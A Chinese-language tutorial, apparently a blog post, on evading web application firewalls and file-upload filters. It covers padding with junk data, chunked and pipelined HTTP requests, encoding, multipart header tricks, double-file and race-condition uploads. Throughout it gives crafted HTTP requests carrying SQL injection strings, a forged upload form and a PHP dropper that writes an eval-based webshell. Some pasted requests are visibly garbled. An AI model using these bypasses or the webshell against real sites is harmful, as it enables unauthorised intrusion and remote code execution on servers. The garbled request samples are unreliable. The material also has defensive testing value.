一、WAF绕过
1、脏数据绕过
即传入一段长数据使waf失效,从而实现绕过waf。某些waf处理POST的数据时,只会检测开头的8K,后面选择全部放过。
例如,当发现某网站存在一个反序列化漏洞时,但是无回显,被waf拦截了
利用脏数据插入5000个x字符,可以成功绕过。
2、高并发绕过
对请求进行并发,攻击请求会被负载均衡调度到不同节点,导致某些请求绕过了waf的拦截
3、http参数污染
在 php 语言中 id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性。可以利用这点绕过一 些 waf 的拦截。
4、数据格式混淆
利用数据格式解析缺陷,存在两种提交表单数据的请求类型
application/x-www-form-urlencoded
multipart/form-data 支持key-Value方式
可以修改提交格式
这两种方式提交数据的效果是一样的。
当然,除了这种方式外一些其他方式也可能绕过waf,例如将传入json数据,将其修改为HTTP请求,或者修改content-type等方式(当然是在应用能够正常解析的前提下)
5、编码绕过
对请求数据进行编码,例如url编码,Unicode编码等,如果waf对数据不能有效的解码,而应用后端能够正常解码,就可以绕过waf。
例如最常见的url编码,对数据进行二次url编码,waf进行一次解码并不能解析到有效的数据,而后端在进行解码时传入的为有效的恶意数据。
6、利用http协议绕过waf
6.1 分块传输绕过waf
- 先在数据包中添加Transfer-Encoding: chunked
- 数字代表下一列字符所占位数,最后需要用0独占一行表示结束,结尾需要两个回车
在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。这时,post请求报文中的数据部分需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的,也不包括分块数据结尾的,且最后需要用0独占一行表示结束。
注意:分块编码传输需要将关键字and,or,select ,union等关键字拆开编码,不然仍然会被waf拦截。编码过程中长度需包括空格的长度。最后用0表示编码结束,并在0后空两行表示数据包结束,不然点击提交按钮后会看到一直处于waiting状态。
eg:
……………… Connection: close Upgrade-Insecure-Requests: I ontent-Type: application/x-www-form-urlencoded Content-Length: 50 4 a=1 4 unio 4 n se 5 lect 1 1 0
6.2 畸形包绕过(pipline绕过)
原理:
http协议是由tcp协议封装而来,当浏览器发起一个http请求时,浏览器先和服务器建立起连接tcp连接,然后发送http数据包(即我们用burpsuite截获的数据),其中包含了一个Connection字段,一般值为close,apache等容器根据这个字段决定是保持该tcp连接或是断开。当发送的内容太大,超过一个http包容量,需要分多次发送时,值会变成keep-alive,即本次发起的http请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。
- 先关闭burpsuite长度更新,为get请求,先使用bp的method转换为POST请求
- get请求中空格使用%20代替,Connection改为keep-alive
点击burp中Repeater,在下拉选项中取消update Content-Length选中。
eg:
POST /sqlinject.php Http/1.0 Host:127001 User-Agent: Mozilla/5.0(Windows NT 10.0: WOW64; rv: 65.0) Gecko/20100101 Firefox/65.0 Accept: text/htmL, application/xhtml+xml, application/xml; q=0.9, image/webp. */ q=0.8 Accept-Language: en-US,en:q=0.5 Referer:http://127.0.0.1/sqlinjectphp?id=1 Content-Type: application/x-www-form-urlencoded Content-Length: 4 Connection:keep-alive Upgrade-Insecure-Requests: 1 id=1post/sqlinjeCt.php Http/1.0 Host:127.00.1 User-Agent: Mozilla/5.0 (Windows NT 10.0: WOw64: rv: 65.0) Gecko/2010010 Firefox/65.0 Accept: text/htmL application/xhtml+xmL application/xml q=0.9, image/webp. * q=0.8 Accept-Language: en-US, en, q=0.5 Referer:http://127.0.0.1/sqlinjectphp?id=1 Content-Type: application/x-www-form-urlencoded Content-Length: 12 Connection: close pgrade-Insecure-Requests: 1 d=l and 1=1
然后你会收到两个返回包,不过这种方法有可能被waf给拦截
6.3 协议覆盖
原理:
HTTP头里的Content-Type一般有application/x-www-form-urlencoded,multipart/form-data,text/plain三种,其中multipart/form-data表示数据被编码为一条消息,页上的每个控件对应消息中的一个部分。所以,当waf没有规则匹配该协议传输的数据时可被绕过。
将头部Content-Type改为multipart/form-data; boundary=69 然后设置分割符内的Content-Disposition的name为要传参数的名称。数据部分则放在分割结束符上一行。由于是正常数据提交,数据是能被apache容器正确解析的,尝试1 and 1=1也会被某狗waf拦截,但如果其他waf没有规则拦截这种方式提交的数据包,那么同样能绕过。
POST /sQlinJect php Http/1.0 User-Agent: Mozilla/5.0 (Windows NT 10.0: WOW64; rv 650)Gecko /20100101 Firefox/65.0 Accept: text/htmL, application/xhtml+xmL, application/xmL: q=0.9, image/webp, */* q=0.8 Accept-Language: en-US, en: q=0.5 Referer:http://127.0.0.1/sqlinject.php?id Content-Type: multipart/form-data; boundary=69 Content-Length: 60 Connection close Upgrade-Insecure-Requests:1 --69 Content-Disposition: form-data; name="id" 1 --69--
7、请求方式转换
waf 在对危险字符进行检测的时候,分别为 post 请求和 get 或者其它的请求方式设定了不同的匹配规则,请求被拦截,变 换请求方式有几率能绕过检测
例如:
或者修改为其它允许的方式,例如options, head等提交方式。
二、文件上传绕过
1、等号绕过
在filename后多添加两个等号
2、换行绕过
在文件后缀名处换行
3、填充垃圾字符
有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。此种情况可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验。
在Content-Disposition字段后添加垃圾数据,来绕过对文件名的校验
当然也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验。
4、NTFS ADS特性绕过
ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果waf对请求正文的filename匹配不当的话可能会导致绕过。
5、利用WAF的缺陷
- 在恶意代码前加垃圾数据;
- 在数据包前加垃圾数据;
- 在Content-Disposition参数后面加垃圾数据;
- 多加一个filename;
- 更改HTTP请求方法;
- 删除实体里面的Conten-Type字段;
第一种是删除Content整行,第二种是删除C后面的字符。删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php。 - 删除Content-Disposition字段里的空格
- 增加一个空格
- 修改Content-Disposition字段值的大小写
- 文件名后缀处回车
- 多个Content-Disposition
6、双文件上传
本意为上传两个或多个文件去突破。上传点支持多文件上传,但是却只对第一个文件做了过滤。
利用方式:
- 在存在双文件上传漏洞的页面中,查看上传的页面。F12找到上传的post表单,action属性是指定上传检测页面,一般是写的绝对路径,比如:
xxx.asp/xxx.php
- 补全url:
https://www.xxx.com/xxx.php(asp)
- 构造本地post提交表单
<form action="https://www.xxx.com/xxx.asp(php)" method="post" name="form1" enctype="multipart/form‐data"> <input name="FileName1" type="FILE" class="tx1" size="40"> <input name="FileName2" type="FILE" class="tx1" size="40"> <input type="submit" name="Submit" value="上传"> </form>
利用时只需要修改action的值为指定上传页面即可
- 第一个文件上传允许的文件类型(
.jpg
.png
.gif
等),第二个上传文件是一句话木马或者WebShell脚本。这样就可以突破上传限制,成功上传木马到服务器。
eg:
------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="file_x"; filename="test.txt" Content-Type: text/javascript ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="file_x"; filename="test.php" Content-Type: text/javascript
最后上传的文件是test.php而非test.txt,但是取的文件名只取了第一个就会被Bypass。
7、条件竞争上传
一些网站上传文件的逻辑时先允许上传任意文件,然后检查上传文件的文件是否包含WebShell脚本,如果包含则删除该文件。这里存在的问题是文件上传成功后和删除文件之间存在一个短暂的时间差(因为需要执行检查文件和删除文件的操作),攻击者可以利用这个时间差完成竞争条件的上传漏洞攻击。
- 攻击者需要先上传一个WebShell脚本1.php,1.php的内容为生成一个新的WebShell脚本shell.php,1.php写入如下代码
<?php fputs(fopen("../shell.php", "w"),'<?php @eval($_POST['cmd']); ?>'); ?>
- 当1.php上传完成后,客户端立即访问1.php,则会在服务端当前目录下自动生成shell.php,这时攻击者就利用了时间差完成了WebShell的上传
8、特性
多个filename
早期版本安全狗,可以多加一个filename
Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="test.php"
最终上传成功的文件名是test.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。
交换name和filename的顺序
规定Content-Disposition必须在最前面,所以只能交换name和filename的顺序。有的WAF可能会匹配name在前面,filename在后面,所以下面姿势会导致Bypass。
Content-Disposition: form-data; filename="xx.php"; name=file_x
去掉引号,双引号变成单引号
Content-Disposition: form-data; name=file_x; filename="xx.php" Content-Disposition: form-data; name=file_x; filename=xx.php Content-Disposition: form-data; name="file_x"; filename=xx.php Content-Disposition: form-data; name='file_x'; filename='xx.php'
单引号、双引号、不要引号,都能上传。
大小写
对这三个固定的字符串进行大小写转换
-
Content-Disposition
-
name
-
filename
空格
在: ; =添加1个或者多个空格。
去掉或修改Content-Disposition值
有的WAF在解析的时候,认为Content-Disposition值一定是form-data,造成绕过。
Content-Disposition: name='file_x'; filename='xx.php'
多个boundary
最后上传的文件是test.php而非test.txt,但是取的文件名只取了第一个就会被Bypass。
------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="file_x"; filename="test.txt" Content-Type: text/javascript ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="file_x"; filename="test.php" Content-Type: text/javascript
多个分号
文件解析时,可能解析不到文件名,导致绕过。
Content-Disposition: form-data; name="file_x";;; filename="test.php"
Header在boundary前添加任意字符
PHP支持,JAVA报错
Content-Type: multipart/form-data; bypassboundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2
filename换行
PHP支持,Java不支持
Content-Disposition: form-data; name="file_x"; file name="test.php"
name和filename添加任意字符串
PHP支持,Java不支持
Content-Disposition: name="file_x"; bypass waf upload; filename="test.php";
POST/GET
有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。
此种情况可以上传一个POST型的数据包,抓包将POST改为GET。